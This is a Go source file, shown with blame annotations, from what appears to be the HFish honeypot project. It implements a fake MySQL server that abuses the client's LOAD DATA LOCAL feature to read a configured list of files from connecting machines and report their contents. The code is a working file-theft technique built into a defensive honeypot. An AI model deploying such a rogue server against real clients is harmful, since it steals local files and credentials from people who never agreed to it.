HFish/core/protocol/mysql/mysql.go

197 lines
5.1 KiB
Go
Raw Normal View History

2019-08-07 13:16:23 +08:00
package mysql
import (
"bytes"
"encoding/binary"
"net"
"syscall"
"strings"
"HFish/error"
"HFish/core/report"
"HFish/utils/try"
"HFish/utils/log"
2019-08-10 18:26:43 +08:00
"HFish/utils/is"
"HFish/core/rpc/client"
"strconv"
2019-09-08 23:14:24 +08:00
"HFish/core/pool"
"time"
2019-08-07 13:16:23 +08:00
)
//读取文件时每次读取的字节数
const bufLength = 1024
//服务器第一个数据包的数据可以根据格式自定义这里要注意SSL字段要置0
var GreetingData = []byte{
0x4a, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x35, 0x2e, 0x35, 0x33,
0x00, 0x01, 0x00, 0x00, 0x00, 0x75, 0x51, 0x73, 0x6f, 0x54, 0x36,
0x50, 0x70, 0x00, 0xff, 0xf7, 0x21, 0x02, 0x00, 0x0f, 0x80, 0x15,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64,
0x26, 0x2b, 0x47, 0x62, 0x39, 0x35, 0x3c, 0x6c, 0x30, 0x45, 0x4a,
0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e, 0x61, 0x74, 0x69,
0x76, 0x65, 0x5f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
0x00,
}
//服务器第二个数据包认证成功的OK响应
var OkData = []byte{0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00}
//保存要读取的文件列表
var fileNames []string
//记录每个客户端连接的次数
var recordClient = make(map[string]int)
func Start(addr string, files string) {
// 启动 Mysql 服务端
serverAddr, _ := net.ResolveTCPAddr("tcp", addr)
listener, _ := net.ListenTCP("tcp", serverAddr)
// 读取文件列表
fileNames = strings.Split(files, ",")
2019-09-08 23:14:24 +08:00
wg, poolX := pool.New(10)
defer poolX.Release()
2019-08-07 13:16:23 +08:00
for {
2019-09-08 23:14:24 +08:00
wg.Add(1)
poolX.Submit(func() {
time.Sleep(time.Second * 2)
conn, err := listener.Accept()
if err != nil {
log.Pr("Mysql", "127.0.0.1", "Mysql 连接失败", err)
}
arr := strings.Split(conn.RemoteAddr().String(), ":")
ip := arr[0]
//这里记录每个客户端连接的次数,实现获取多个文件
_, ok := recordClient[ip]
if ok {
if recordClient[ip] < len(fileNames)-1 {
recordClient[ip] += 1
}
} else {
recordClient[ip] = 0
2019-08-07 13:16:23 +08:00
}
2019-09-08 23:14:24 +08:00
go connectionClientHandler(conn)
wg.Done()
})
2019-08-07 13:16:23 +08:00
}
}
func connectionClientHandler(conn net.Conn) {
defer conn.Close()
connFrom := conn.RemoteAddr().String()
arr := strings.Split(connFrom, ":")
2019-08-10 18:26:43 +08:00
// 判断是否为 RPC 客户端
var id string
if is.Rpc() {
id = client.ReportResult("MYSQL", "", arr[0], connFrom+" 已经连接", "0")
} else {
id = strconv.FormatInt(report.ReportMysql(arr[0], "本机", connFrom+" 已经连接"), 10)
}
log.Pr("Mysql", arr[0], "已经连接")
2019-08-07 13:16:23 +08:00
try.Try(func() {
var ibuf = make([]byte, bufLength)
2019-08-07 13:16:23 +08:00
//第一个包
_, err := conn.Write(GreetingData)
error.Check(err, "")
2019-08-07 13:16:23 +08:00
//第二个包
_, err = conn.Read(ibuf[0: bufLength-1])
//判断是否有Can Use LOAD DATA LOCAL标志如果有才支持读取文件
if (uint8(ibuf[4]) & uint8(128)) == 0 {
_ = conn.Close()
return
}
//第三个包
_, err = conn.Write(OkData)
//第四个包
_, err = conn.Read(ibuf[0: bufLength-1])
//这里根据客户端连接的次数来选择读取文件列表里面的第几个文件
ip, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
getFileData := []byte{byte(len(fileNames[recordClient[ip]]) + 1), 0x00, 0x00, 0x01, 0xfb}
getFileData = append(getFileData, fileNames[recordClient[ip]]...)
2019-08-07 13:16:23 +08:00
//第五个包
_, err = conn.Write(getFileData)
getRequestContent(conn, id)
2019-08-07 13:16:23 +08:00
}).Catch(func() {
log.Pr("Mysql", arr[0], "该客户端正在使用扫描器扫描")
2019-08-07 13:16:23 +08:00
2019-08-10 18:26:43 +08:00
if is.Rpc() {
go client.ReportResult("MYSQL", "", "", "&&该客户端正在使用扫描器扫描", id)
} else {
// 有扫描器扫描
go report.ReportUpdateMysql(id, "&&该客户端正在使用扫描器扫描")
}
})
2019-08-07 13:16:23 +08:00
}
//获取客户端传来的文件数据
2019-08-10 18:26:43 +08:00
func getRequestContent(conn net.Conn, id string) {
2019-08-07 13:16:23 +08:00
var content bytes.Buffer
//先读取数据包长度前面3字节
lengthBuf := make([]byte, 3)
_, err := conn.Read(lengthBuf)
error.Check(err, "")
totalDataLength := int(binary.LittleEndian.Uint32(append(lengthBuf, 0)))
if totalDataLength == 0 {
return
}
//然后丢掉1字节的序列号
_, _ = conn.Read(make([]byte, 1))
ibuf := make([]byte, bufLength)
totalReadLength := 0
//循环读取知道读取的长度达到包长度
for {
length, err := conn.Read(ibuf)
switch err {
case nil:
//如果本次读取的内容长度+之前读取的内容长度大于文件内容总长度,则本次读取的文件内容只能留下一部分
if length+totalReadLength > totalDataLength {
length = totalDataLength - totalReadLength
}
content.Write(ibuf[0:length])
totalReadLength += length
if totalReadLength == totalDataLength {
//读取完成保存到本地文件
getFileContent(content, id)
//随便写点数据给客户端
_, _ = conn.Write(OkData)
}
case syscall.EAGAIN: // try again
continue
default:
arr := strings.Split(conn.RemoteAddr().String(), ":")
log.Pr("Mysql", arr[0], "已经关闭连接")
2019-08-07 13:16:23 +08:00
return
}
}
}
2019-08-10 18:26:43 +08:00
// 获取文件内容
func getFileContent(content bytes.Buffer, id string) {
if is.Rpc() {
go client.ReportResult("MYSQL", "", "", "&&"+content.String(), id)
} else {
go report.ReportUpdateMysql(id, "&&"+content.String())
}
2019-08-07 13:16:23 +08:00
}